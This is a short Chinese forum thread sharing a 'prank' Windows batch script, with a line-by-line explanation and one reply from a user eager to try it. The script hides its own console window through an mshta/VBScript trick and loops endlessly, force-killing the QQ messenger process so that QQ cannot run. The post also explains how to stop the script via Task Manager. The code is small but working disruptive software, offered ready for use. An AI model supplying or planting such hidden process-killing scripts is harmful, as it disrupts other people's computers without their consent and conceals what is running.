sunhaiyan 发表于 2012-11-23 21:16:02

一款小恶作剧代码 详解

功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin

代码到此为止
讲解如下:
@echo off ------关闭回显
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
:begin ------------定一段名begin
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
:killit
taskkill /f /im QQ.exe----终结进程QQ.exe
:next
ping -n 3 127.t >nul 2>nul -----延迟一段时间
goto begin--------------返回执行begin

离殇易 发表于 2013-4-7 18:39:50

有意思= =我去试试
页: [1]
查看完整版本: 一款小恶作剧代码 详解